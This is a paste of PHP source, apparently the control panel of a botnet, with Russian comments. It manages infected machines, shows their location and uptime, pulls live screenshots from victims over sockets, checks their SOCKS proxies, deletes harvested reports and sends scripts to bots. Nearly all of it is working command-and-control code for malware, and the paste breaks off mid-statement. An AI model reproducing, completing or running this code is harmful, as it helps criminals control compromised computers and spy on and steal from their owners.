Advertisement
Guest User

Untitled

a guest
Feb 15th, 2014
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 56.02 KB | None | 0 0
  1. <?php define('__CP__', 1);
  2.  
  3. require_once('system/global.php');
  4. if(!@include_once('system/config.php'))die('Hello! How are you?');
  5.  
  6. ///////////////////////////////////////////////////////////////////////////////////////////////////
  7. // Константы.
  8. ///////////////////////////////////////////////////////////////////////////////////////////////////
  9.  
  10. define('CURRENT_TIME', time()); //Текущее время.
  11. define('ONLINE_TIME_MIN', (CURRENT_TIME - $config['botnet_timeout'])); //Минимальное время для статуса "Онлайн".
  12. define('DEFAULT_LANGUAGE', 'en'); //Язык по умолчанию.
  13. define('THEME_PATH', 'theme'); //Папка для темы.
  14.  
  15. //HTTP запросы.
  16. define('QUERY_SCRIPT', basename($_SERVER['PHP_SELF']));
  17. define('QUERY_SCRIPT_HTML', QUERY_SCRIPT);
  18. define('QUERY_VAR_MODULE', 'm'); //Переменая указывающая на текущий модуль.
  19. define('QUERY_STRING_BLANK', QUERY_SCRIPT.'?m='); //Пустая строка запроса.
  20. define('QUERY_STRING_BLANK_HTML', QUERY_SCRIPT_HTML.'?m='); //Пустая строка запроса в HTML.
  21. define('CP_HTTP_ROOT', str_replace('\\', '/', (!empty($_SERVER['SCRIPT_NAME']) ? dirname($_SERVER['SCRIPT_NAME']) : '/'))); //Корень CP.
  22.  
  23. //Сессия, куки.
  24. define('COOKIE_USER', 'p'); //Имя пользователя в куках.
  25. define('COOKIE_PASS', 'u'); //Пароль пользователя в куках.
  26. define('COOKIE_LIVETIME', CURRENT_TIME + 2592000); //Время жизни куков.
  27. define('COOKIE_SESSION', 'ref'); //Переменная для хранения сессии.
  28. define('SESSION_LIVETIME', CURRENT_TIME + 1300); //Время жизни сессии.
  29.  
  30. $_sessionRef = 0;
  31.  
  32. ///////////////////////////////////////////////////////////////////////////////////////////////////
  33. // Инициализация.
  34. ///////////////////////////////////////////////////////////////////////////////////////////////////
  35.  
  36. //Подключаемся к базе.
  37. if(!connectToDb())die(mysqlErrorEx());
  38.  
  39. //Подключаем тему.
  40. require_once(THEME_PATH.'/index.php');
  41.  
  42. //Управление логином.
  43. if(!empty($_GET[QUERY_VAR_MODULE]))
  44. {
  45. //Форма логина.
  46. if(strcmp($_GET[QUERY_VAR_MODULE], 'login') === 0)
  47. {
  48. unlockSessionAndDestroyAllCokies();
  49.  
  50. if(isset($_POST['user']) && isset($_POST['pass']))
  51. {
  52. $user = $_POST['user'];
  53. $pass = md5($_POST['pass']);
  54.  
  55. //Проверяем логин.
  56. if(mysqlQueryEx('cp_users', "SELECT `id` FROM `cp_users` WHERE `name`='".addslashes($user)."' AND `pass`='".addslashes($pass)."' AND `flag_enabled`=1 LIMIT 1") && @mysql_affected_rows() == 1)
  57. {
  58. if(isset($_POST['remember']) && $_POST['remember'] == 1)
  59. {
  60. setcookie(COOKIE_USER, md5($user), COOKIE_LIVETIME, CP_HTTP_ROOT);
  61. setcookie(COOKIE_PASS, $pass, COOKIE_LIVETIME, CP_HTTP_ROOT);
  62. }
  63.  
  64. lockSession();
  65. $_SESSION['name'] = $user;
  66. $_SESSION['pass'] = $pass;
  67. //unlockSession();
  68.  
  69. header('Location: '.QUERY_STRING_BLANK.'home');
  70. }
  71. else
  72. {
  73. sleep(5); //Антибрут.
  74. showLoginForm(true);
  75. }
  76. die();
  77. }
  78.  
  79. showLoginForm(false);
  80. die();
  81. }
  82.  
  83. //Выход
  84. if(strcmp($_GET['m'], 'logout') === 0)
  85. {
  86. unlockSessionAndDestroyAllCokies();
  87. header('Location: '.QUERY_STRING_BLANK.'login');
  88. die();
  89. }
  90. }
  91.  
  92. ///////////////////////////////////////////////////////////////////////////////////////////////////
  93. // Проверка данных логина.
  94. ///////////////////////////////////////////////////////////////////////////////////////////////////
  95.  
  96. $logined = 0; //Флаг означающий, залогинины ли мы.
  97.  
  98. //Логин через сессию.
  99. lockSession();
  100. if(!empty($_SESSION['name']) && !empty($_SESSION['pass']))
  101. {
  102. if(($r = mysqlQueryEx('cp_users', "SELECT * FROM `cp_users` WHERE `name`='".addslashes($_SESSION['name'])."' AND `pass`='".addslashes($_SESSION['pass'])."' AND `flag_enabled`=1 LIMIT 1")))$logined = @mysql_affected_rows();
  103. }
  104. //Логин через куки.
  105. if($logined !== 1 && !empty($_COOKIE[COOKIE_USER]) && !empty($_COOKIE[COOKIE_PASS]))
  106. {
  107. if(($r = mysqlQueryEx('cp_users', "SELECT * FROM `cp_users` WHERE MD5(`name`)='".addslashes($_COOKIE[COOKIE_USER])."' AND `pass`='".addslashes($_COOKIE[COOKIE_PASS])."' AND `flag_enabled`=1 LIMIT 1")))$logined = @mysql_affected_rows();
  108. }
  109. //Не удалось залогиниться.
  110. if($logined !== 1)
  111. {
  112. unlockSessionAndDestroyAllCokies();
  113. sleep(5); //Антибрут.
  114. header('Location: '.QUERY_STRING_BLANK.'login');
  115. die();
  116. }
  117.  
  118. //Получаем данные пользователя.
  119. $userData = @mysql_fetch_assoc($r);
  120. if($userData === false)die(mysqlErrorEx());
  121. $_SESSION['name'] = $userData['name'];
  122. $_SESSION['pass'] = $userData['pass'];
  123.  
  124. //Подключаем язык.
  125. if(@strlen($userData['language']) != 2 || !safePath($userData['language']) || !file_exists('system/lng.'.$userData['language'].'.php'))$userData['language'] = DEFAULT_LANGUAGE;
  126. require_once('system/lng.'.$userData['language'].'.php');
  127.  
  128. unlockSession();
  129.  
  130. ///////////////////////////////////////////////////////////////////////////////////////////////////
  131. // Определяем меню.
  132. ///////////////////////////////////////////////////////////////////////////////////////////////////
  133.  
  134. //Главное меню.
  135. $mainMenu = array( //Модуль. //Название. //Необходимые права.
  136. array(0, LNG_MM_STATS, array()),
  137. array('stats_main', LNG_MM_STATS_MAIN, array('r_stats_main')),
  138. array('stats_os', LNG_MM_STATS_OS, array('r_stats_os')),
  139.  
  140. array(0, LNG_MM_BOTNET, array()),
  141. array('botnet_bots', LNG_MM_BOTNET_BOTS, array('r_botnet_bots')),
  142. array('botnet_scripts', LNG_MM_BOTNET_SCRIPTS, array('r_botnet_scripts')),
  143.  
  144. array(0, LNG_MM_REPORTS, array()),
  145. array('reports_db', LNG_MM_REPORTS_DB, array('r_reports_db')),
  146. array('reports_files', LNG_MM_REPORTS_FILES, array('r_reports_files')),
  147. /*EVAL_BEGIN*/if(configBool('jabber_notifier'))return
  148. " array('reports_jn', LNG_MM_REPORTS_JN, array('r_reports_jn')),";
  149. /*EVAL_END*/
  150.  
  151. array(0, LNG_MM_SYSTEM, array()),
  152. array('sys_info', LNG_MM_SYSTEM_INFO, array('r_system_info')),
  153. array('sys_options', LNG_MM_SYSTEM_OPTIONS, array('r_system_options')),
  154. array('sys_user', LNG_MM_SYSTEM_USER, array('r_system_user')),
  155. array('sys_users', LNG_MM_SYSTEM_USERS, array('r_system_users'))
  156. );
  157.  
  158. //Меню дейтвий над ботом. Также применяется для массива ботов.
  159. $botMenu = array(
  160. array('fullinfo', LNG_MBA_FULLINFO, array('r_botnet_bots')),
  161. array('fullinfoss', LNG_MBA_FULLINFOSS, array('r_botnet_bots')),
  162.  
  163. array(0, LNG_MBA_SEPARATOR, array()),
  164. array('today_dbreports', LNG_MBA_TODAY_DBREPORTS, array('r_reports_db')),
  165. array('week_dbreports', LNG_MBA_WEEK_DBREPORTS, array('r_reports_db')),
  166. array('files', LNG_MBA_FILES, array('r_reports_files')),
  167.  
  168. array(0, LNG_MBA_SEPARATOR, array()),
  169. array('remove', LNG_MBA_REMOVE, array('r_edit_bots')),
  170. array('removeex', LNG_MBA_REMOVE_REPORTS, array('r_edit_bots', 'r_reports_db_edit', 'r_reports_files_edit')),
  171.  
  172. array(0, LNG_MBA_SEPARATOR, array()),
  173. array('port_socks', LNG_MBA_PORT_SOCKS, array('r_botnet_bots')),
  174. array('newscript', LNG_MBA_NEWSCRIPT, array('r_botnet_scripts_edit'))
  175. );
  176.  
  177. optimizeMenu($botMenu, false);
  178.  
  179. ///////////////////////////////////////////////////////////////////////////////////////////////////
  180. // Обработка группы ботов.
  181. ///////////////////////////////////////////////////////////////////////////////////////////////////
  182.  
  183. if((!empty($_GET['botsaction']) || !empty($_POST['botsaction'])) && ((!empty($_POST['bots']) && is_array($_POST['bots'])) || (!empty($_GET['bots']) && is_array($_GET['bots']))))
  184. {
  185. $bedit = empty($userData['r_edit_bots']) ? 0 : 1;
  186. $ba = !empty($_GET['botsaction']) ? $_GET['botsaction'] : $_POST['botsaction'];
  187. $blist = !empty($_POST['bots']) && is_array($_POST['bots']) ? $_POST['bots'] : $_GET['bots'];
  188. $blist = array_unique($blist);
  189.  
  190. //Проверям есть ли право на действие.
  191. $deny = true;
  192. foreach($botMenu as $item)if($item[0] !== 0 && strcmp($item[0], $ba) === 0){$deny = false; break;}
  193. if($deny)ThemeFatalError(LNG_ACCESS_DEFINED);
  194.  
  195. //Составляем список ботов для MySQL.
  196. $sqlBlist = '';
  197. $count = 0;
  198. foreach($blist as $bot)$sqlBlist .= ($count++ == 0 ? '' : ' OR ')."`bot_id`='".addslashes($bot)."'";
  199.  
  200. if(strcmp($ba, 'fullinfo') === 0 || strcmp($ba, 'fullinfoss') === 0)
  201. {
  202. //Режим обнавления.
  203. if($bedit && isset($_GET['save']) && (isset($_POST['used']) && is_array($_POST['used'])) && (isset($_POST['comment']) && is_array($_POST['comment'])))
  204. {
  205. $q = '';
  206. foreach($blist as $i => $bot)if(isset($_POST['used'][$i]) && isset($_POST['comment'][$i]))
  207. {
  208. mysqlQueryEx('botnet_list', "UPDATE `botnet_list` SET `flag_used`='".($_POST['used'][$i] == 1 ? 1 : 0)."', `comment`='".addslashes(substr($_POST['comment'][$i], 0, 250))."' WHERE `bot_id`='".addslashes($bot)."' LIMIT 1");
  209. $q .= '&bots[]='.urlencode($bot);
  210. }
  211.  
  212. header('Location: '.QUERY_SCRIPT.'?botsaction='.urlencode($ba).$q);
  213. die();
  214. }
  215.  
  216. //Скриншот.
  217. if(strcmp($ba, 'fullinfoss') === 0 && isset($_GET['ipv4']) && isset($_GET['port']))
  218. {
  219. $format = 'image/'.$userData['ss_format'];
  220. $readed = 0;
  221.  
  222. if(($sock = @fsockopen($_GET['ipv4'], $_GET['port'], $errn, $errs, 10)) !== false)
  223. {
  224. @stream_set_timeout($sock, 10);
  225. @fwrite($sock, pack('CCC', 0, $userData['ss_quality'] & 0xFF, strlen($format) & 0xFF).$format);
  226. @fflush($sock);
  227. if(($dataSize = @fread($sock, 4)) !== false && ($dataSize = unpack('L', $dataSize)))
  228. {
  229. $dataSize = $dataSize[1];
  230. while($readed < $dataSize && ($block = @fread($sock, $dataSize - $readed)) !== false)
  231. {
  232. if($readed === 0)header('Content-Type: '.$format);
  233. $readed += strlen($block);
  234. echo $block;
  235. }
  236. }
  237. @fclose($sock);
  238. }
  239.  
  240. if($readed === 0)
  241. {
  242. header('Content-Type: image/png');
  243. echo file_get_contents(THEME_PATH.'/failed.png');
  244. }
  245. die();
  246. }
  247.  
  248. //Стандартный вывод.
  249. if(!($r = mysqlQueryEx('botnet_list', 'SELECT *, IF(`rtime_last`>='.ONLINE_TIME_MIN.', 1, 0) AS `is_online`, LOCATE(`ipv4`, `ipv4_list`) as `nat_status` FROM `botnet_list` WHERE '.$sqlBlist)))ThemeMySQLError();
  250.  
  251. //Получаем результат.
  252. $res = array();
  253. while(($m = @mysql_fetch_assoc($r)))$res[$m['bot_id']] = $m;
  254. mysql_free_result($r);
  255. unset($m);
  256.  
  257. //Выводим результат.
  258. $eCount = 0;
  259. $data = '';
  260. if($bedit)$data .= str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('edit', QUERY_SCRIPT_HTML.'?botsaction='.$ba.'&amp;save=1', ''), THEME_FORMPOST_BEGIN);
  261. $data .=
  262. str_replace('{WIDTH}', '90%', THEME_DIALOG_BEGIN).
  263. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, LNG_BA_FULLINFO_TITLE), THEME_DIALOG_TITLE).
  264. THEME_DIALOG_ROW_BEGIN.
  265. str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN);
  266.  
  267. foreach($blist as $bot)
  268. {
  269. $data .=
  270. str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN).
  271. THEME_LIST_ROW_BEGIN.
  272. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTID), THEME_LIST_ITEM_LTEXT_U1).
  273. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($bot, 'botmenu')), THEME_LIST_ITEM_LTEXT_U1).
  274. THEME_LIST_ROW_END;
  275.  
  276. //Базовая информация.
  277. $isExists = isset($res[$bot]);
  278. if(!$isExists)$data .= THEME_LIST_ROW_BEGIN.str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BA_FULLINFO_EMPTY), THEME_LIST_ITEM_EMPTY_1).THEME_LIST_ROW_END;
  279. else
  280. {
  281. $l = $res[$bot];
  282. $eCount++;
  283.  
  284. $ipv4 = binaryIpToString($l['ipv4']);
  285. if($l['nat_status'] == 0)$ipv4 .= '*';
  286.  
  287. $data .=
  288. THEME_LIST_ROW_BEGIN.
  289. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTNET), THEME_LIST_ITEM_LTEXT_U2).
  290. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['botnet'])), THEME_LIST_ITEM_LTEXT_U2).
  291. THEME_LIST_ROW_END.
  292. THEME_LIST_ROW_BEGIN.
  293. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_VERSION), THEME_LIST_ITEM_LTEXT_U1).
  294. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($l['bot_version'])), THEME_LIST_ITEM_LTEXT_U1).
  295. THEME_LIST_ROW_END.
  296. THEME_LIST_ROW_BEGIN.
  297. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OS), THEME_LIST_ITEM_LTEXT_U2).
  298. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', osDataToString($l['os_version'])), THEME_LIST_ITEM_LTEXT_U2).
  299. THEME_LIST_ROW_END.
  300. THEME_LIST_ROW_BEGIN.
  301. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OSLANG), THEME_LIST_ITEM_LTEXT_U1).
  302. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['language_id'])), THEME_LIST_ITEM_LTEXT_U1).
  303. THEME_LIST_ROW_END.
  304. THEME_LIST_ROW_BEGIN.
  305. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TIMEBIAS), THEME_LIST_ITEM_LTEXT_U2).
  306. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', timeBiasToText($l['time_localbias'])), THEME_LIST_ITEM_LTEXT_U2).
  307. THEME_LIST_ROW_END.
  308. THEME_LIST_ROW_BEGIN.
  309. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COUNTRY), THEME_LIST_ITEM_LTEXT_U1).
  310. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['country'])), THEME_LIST_ITEM_LTEXT_U1).
  311. THEME_LIST_ROW_END.
  312. THEME_LIST_ROW_BEGIN.
  313. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_IPV4), THEME_LIST_ITEM_LTEXT_U2).
  314. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), THEME_LIST_ITEM_LTEXT_U2).
  315. THEME_LIST_ROW_END.
  316. THEME_LIST_ROW_BEGIN.
  317. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_LATENCY), THEME_LIST_ITEM_LTEXT_U1).
  318. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($l['net_latency'] / 1000, 3)), THEME_LIST_ITEM_LTEXT_U1).
  319. THEME_LIST_ROW_END.
  320. THEME_LIST_ROW_BEGIN.
  321. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TCPPORT_S1), THEME_LIST_ITEM_LTEXT_U2).
  322. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['tcpport_s1'])), THEME_LIST_ITEM_LTEXT_U2).
  323. THEME_LIST_ROW_END.
  324. THEME_LIST_ROW_BEGIN.
  325. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TFIRST), THEME_LIST_ITEM_LTEXT_U1).
  326. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_first']))), THEME_LIST_ITEM_LTEXT_U1).
  327. THEME_LIST_ROW_END.
  328. THEME_LIST_ROW_BEGIN.
  329. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TLAST), THEME_LIST_ITEM_LTEXT_U2).
  330. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_last']))), THEME_LIST_ITEM_LTEXT_U2).
  331. THEME_LIST_ROW_END.
  332. THEME_LIST_ROW_BEGIN.
  333. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TONLINE), THEME_LIST_ITEM_LTEXT_U1).
  334. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['is_online'] == 1 ? tickCountToText(CURRENT_TIME - $l['rtime_online']) : LNG_FORMAT_NOTIME), THEME_LIST_ITEM_LTEXT_U1).
  335. THEME_LIST_ROW_END.
  336. THEME_LIST_ROW_BEGIN.
  337. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_NEW), THEME_LIST_ITEM_LTEXT_U2).
  338. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_new'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U2).
  339. THEME_LIST_ROW_END.
  340. THEME_LIST_ROW_BEGIN.
  341. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_USED), THEME_LIST_ITEM_LTEXT_U1).
  342. ($bedit
  343. ?
  344. str_replace(array('{NAME}', '{WIDTH}'), array('used[]', 'auto'), THEME_LIST_ITEM_LISTBOX_U1_BEGIN).
  345. str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_NO), $l['flag_used'] != 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM).
  346. str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_YES), $l['flag_used'] == 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM).
  347. ( THEME_LIST_ITEM_LISTBOX_U1_END)
  348. :
  349. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_used'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U1)
  350. ).
  351. THEME_LIST_ROW_END.
  352. THEME_LIST_ROW_BEGIN.
  353. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COMMENT), THEME_LIST_ITEM_LTEXT_U2).
  354. ($bedit
  355. ?
  356. str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('comment[]', htmlEntitiesEx($l['comment']), 250, '99%'), THEME_LIST_ITEM_INPUT_TEXT_U2)
  357. :
  358. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($l['comment']) ? '-' : htmlEntitiesEx($l['comment'])), THEME_LIST_ITEM_LTEXT_U2)
  359. ).
  360. THEME_LIST_ROW_END;
  361.  
  362. if(strcmp($ba, 'fullinfoss') === 0)
  363. {
  364. $ss = str_replace('{URL}',
  365. htmlEntitiesEx(QUERY_SCRIPT.'?botsaction=fullinfoss&bots[]=0&ipv4='.urlencode($ipv4).'&port='.urlencode($l['tcpport_s1'])),
  366. THEME_SCREENSHOT);
  367.  
  368. $data .=
  369. THEME_LIST_ROW_BEGIN.
  370. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_SCREENSHOT), THEME_LIST_ITEM_LTEXT_U1).
  371. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ss), THEME_LIST_ITEM_LTEXT_U1).
  372. THEME_LIST_ROW_END;
  373. }
  374. }
  375.  
  376. //Концовка.
  377. $data .=
  378. THEME_LIST_END.
  379. ($bedit && $isExists ? str_replace(array('{NAME}', '{VALUE}'), array('bots[]', htmlEntitiesEx($bot)), THEME_FORM_VALUE) : '').
  380. THEME_VSPACE;
  381. }
  382.  
  383. $data .=
  384. THEME_DIALOG_ITEM_CHILD_END.
  385. THEME_DIALOG_ROW_END;
  386.  
  387. if($bedit && $eCount > 0)
  388. {
  389. $data .=
  390. str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ACTIONLIST_BEGIN).
  391. str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BA_FULLINFO_ACTION_SAVE, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT).
  392. THEME_DIALOG_ACTIONLIST_END;
  393. }
  394.  
  395. $data .=
  396. THEME_DIALOG_END.
  397. ($bedit ? THEME_FORMPOST_END : '');
  398.  
  399. themeSmall(LNG_BA_FULLINFO_TITLE, $data, 0, getBotJsMenu('botmenu'), 0);
  400. }
  401. else if(strcmp($ba, 'today_dbreports') === 0 || strcmp($ba, 'week_dbreports') === 0)
  402. {
  403. $date2 = gmdate('ymd', CURRENT_TIME);
  404. $date1 = strcmp($ba, 'week_dbreports') === 0 ? gmdate('ymd', CURRENT_TIME - 518400) : $date2;
  405.  
  406. foreach($blist as $k => $v)if(spaceCharsExist($v))$blist[$k] = '"'.$v.'"';
  407. header('Location: '.QUERY_STRING_BLANK.'reports_db&date1='.urlencode($date1).'&date2='.urlencode($date2).'&bots='.urlencode(implode(' ', $blist)).'&q=');
  408. die();
  409. }
  410. else if(strcmp($ba, 'files') === 0)
  411. {
  412. foreach($blist as $k => $v)if(spaceCharsExist($v))$blist[$k] = '"'.$v.'"';
  413. header('Location: '.QUERY_STRING_BLANK.'reports_files&bots='.urlencode(implode(' ', $blist)).'&q=');
  414. die();
  415. }
  416. else if(strcmp($ba, 'remove') === 0 || strcmp($ba, 'removeex') === 0) //Проверка прав не требуется, т.к. проверка присходит при формировании $botMenu.
  417. {
  418. if(isset($_GET['yes']) || isset($_GET['no']))
  419. {
  420. $data =
  421. str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN).
  422. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BA_REMOVE_TITLE), THEME_LIST_TITLE);
  423.  
  424. if(isset($_GET['yes']))
  425. {
  426. //Удаление из botnet_list.
  427. if(mysqlQueryEx('botnet_list', 'DELETE FROM `botnet_list` WHERE '.$sqlBlist))$t = str_replace('{TEXT}', sprintf(LNG_BA_REMOVE_REMOVED, @mysql_affected_rows()), THEME_STRING_SUCCESS);
  428. else $t = str_replace('{TEXT}', mysqlErrorEx(), THEME_STRING_ERROR);
  429.  
  430. $data .=
  431. THEME_LIST_ROW_BEGIN.
  432. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'botnet_list'), THEME_LIST_ITEM_LTEXT_U1).
  433. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $t), THEME_LIST_ITEM_LTEXT_U1).
  434. THEME_LIST_ROW_END;
  435.  
  436. //Удаление.
  437. if(strcmp($ba, 'removeex') === 0)
  438. {
  439. $i = 1;
  440. $rlist = listReportTables($config['mysql_db']);
  441.  
  442. //Удаление из botnet_reports_*.
  443. foreach($rlist as $table)
  444. {
  445. if(mysqlQueryEx($table, "DELETE FROM `{$table}` WHERE ".$sqlBlist))$t = str_replace('{TEXT}', sprintf(LNG_BA_REMOVE_REMOVED, @mysql_affected_rows()), THEME_STRING_SUCCESS);
  446. else $t = str_replace('{TEXT}', mysqlErrorEx(), THEME_STRING_ERROR);
  447.  
  448. $item = ($i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1);
  449.  
  450. $data .=
  451. THEME_LIST_ROW_BEGIN.
  452. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($table)), $item).
  453. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $t), $item).
  454. THEME_LIST_ROW_END;
  455.  
  456. $i++;
  457. }
  458.  
  459. //Удаление файлов.
  460. $root = getDirs($config['reports_path']);
  461. if($root !== false)foreach($root as $rdir)
  462. {
  463. $rdir = $config['reports_path'].'/'.$rdir;
  464. $botnets = getDirs($rdir);
  465.  
  466. if($botnets !== false)foreach($botnets as $botnet)
  467. {
  468. $botnet = $rdir.'/'.$botnet;
  469. $bots = getDirs($botnet);
  470.  
  471. if($bots !== false)foreach($bots as $bot)
  472. {
  473. $botLower = mb_strtolower(urldecode($bot));
  474. $bot = $botnet.'/'.$bot;
  475.  
  476. foreach($blist as $l)
  477. {
  478. if(strcmp($botLower, mb_strtolower($l)) === 0)
  479. {
  480. if(clearPath($bot))$t = str_replace('{TEXT}', LNG_BA_REMOVE_FREMOVED, THEME_STRING_SUCCESS);
  481. else $t = str_replace('{TEXT}', LNG_BA_REMOVE_FERROR, THEME_STRING_ERROR);
  482.  
  483. $item = ($i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1);
  484.  
  485. $data .=
  486. THEME_LIST_ROW_BEGIN.
  487. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($bot)), $item).
  488. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $t), $item).
  489. THEME_LIST_ROW_END;
  490.  
  491. $i++;
  492. }
  493. }
  494. }
  495. unset($bots);
  496. }
  497. unset($botnets);
  498. }
  499. unset($root);
  500. }
  501. }
  502. else $data .= THEME_LIST_ROW_BEGIN.str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_BA_REMOVE_ABORTED), THEME_LIST_ITEM_LTEXT_U1).THEME_LIST_ROW_END;
  503.  
  504. themeSmall(LNG_BA_REMOVE_TITLE, $data.THEME_LIST_END, 0, 0, 0);
  505. }
  506. else
  507. {
  508. $bl = '';
  509. foreach($blist as $bot)$bl .= '&bots[]='.addJsSlashes(urlencode($bot));
  510.  
  511. $q = sprintf(strcmp($ba, 'remove') === 0 ? LNG_BA_REMOVE_Q1 : LNG_BA_REMOVE_Q2, count($blist));
  512. $js = "function qr(){var r = confirm('".addJsSlashes($q)."') ? 'yes': 'no'; window.location='".addJsSlashes(QUERY_SCRIPT)."?botsaction={$ba}{$bl}&' + r;}";
  513. themeSmall(LNG_BA_REMOVE_TITLE, '', $js, 0, ' onload="qr()"');
  514. }
  515. }
  516. else if(strcmp($ba, 'port_socks') === 0)
  517. {
  518. //Проверка сокса.
  519. if(isset($_GET['ipv4']) && isset($_GET['port']))
  520. {
  521. $ok = 0;
  522. if(($s = @fsockopen($_GET['ipv4'], $_GET['port'], $errn, $errs, 5)))
  523. {
  524. @stream_set_timeout($s, 5);
  525. $data = pack('CCSL', 4, 1, 0, 0)."\0"; //Заголовок Socks4.
  526. if(@fwrite($s, $data) && ($data = @fread($s, 8)) && strlen($data) == 8)$ok = 1;
  527. fclose($s);
  528. }
  529.  
  530. if($ok == 1)echo str_replace('{TEXT}', LNG_BA_PORT_SOCKS_SUCCESS, THEME_STRING_SUCCESS);
  531. else echo str_replace('{TEXT}', LNG_BA_PORT_SOCKS_FAILED, THEME_STRING_ERROR);
  532.  
  533. die();
  534. }
  535.  
  536. //Вывод списка.
  537. if(!($r = mysqlQueryEx('botnet_list', 'SELECT `bot_id`, `country`, `ipv4`, `tcpport_s1` FROM `botnet_list` WHERE '.$sqlBlist)))ThemeMySQLError();
  538.  
  539. //Получаем результат.
  540. $res = array();
  541. while(($m = @mysql_fetch_row($r)))$res[$m[0]] = $m;
  542. mysql_free_result($r);
  543. unset($m);
  544.  
  545. $data =
  546. str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN).
  547. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(3, LNG_BA_PORT_SOCKS_TITLE), THEME_LIST_TITLE);
  548.  
  549. $i = 0;
  550. $jsList = '';
  551.  
  552. //Выводим результат.
  553. foreach($blist as $bot)
  554. {
  555. $isExists = isset($res[$bot]);
  556. $item = ((($i++) % 2 == 0) ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2);
  557. if($isExists)
  558. {
  559. $l = $res[$bot];
  560. $ipv4 = binaryIpToString($l[2]);
  561. $jsList .= ($jsList == '' ? '' : ', ')."['st{$i}', '".addJsSlashes(urlencode($ipv4))."', '".addJsSlashes(urlencode($l[3]))."']";
  562. }
  563.  
  564. $data .=
  565. THEME_LIST_ROW_BEGIN.
  566. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($bot, 'botmenu').THEME_STRING_SPACE.'/'.THEME_STRING_SPACE.($isExists ? $l[1] : '--')), $item).
  567. str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $isExists ? htmlEntitiesEx($ipv4.':'.$l[3]) : '-:-'), $item).
  568. str_replace(array('{WIDTH}', '{TEXT}'), array('150px',
  569. $isExists ?
